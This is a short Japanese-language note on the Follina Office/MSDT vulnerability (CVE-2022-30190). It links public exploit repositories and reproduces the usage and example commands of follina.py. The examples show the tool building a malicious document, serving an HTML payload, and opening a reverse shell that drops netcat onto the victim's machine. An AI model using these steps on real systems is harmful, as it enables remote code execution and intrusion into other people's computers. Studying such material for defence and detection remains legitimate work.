Follina

CVE-2022-30190に関連する注意事項

FOLLINA: CVE-2022-30190

1. Microsoftサポート診断ツール(MSDT)を使用

2. 診断用に開かれた診断ウィンドウを悪用し、適切に実行されると攻撃者にリバースシェルを与える。

3. Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py

4. 謝辞: (a). @_johnhammond (b). @networkchuck

5. 使い方 follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)

6. 例 (a). calc.exeを起動: $ python3 follina.py
   [+] copied staging doc /tmp/9mcvbrwo [+] created maldoc ./follina.doc [+] serving html payload on :8000 (b). notepad.exeを起動: $ python3 follina.py -c "notepad" (c). ポート9001でリバースシェルを取得。 注意: これはnetcatバイナリを被害者にダウンロードし、C:\Windows\Tasksに配置します。バイナリはクリーンアップされません。AVが無効化されていない限り、アンチウイルス検出をトリガーします。 $ python3 follina.py -r 9001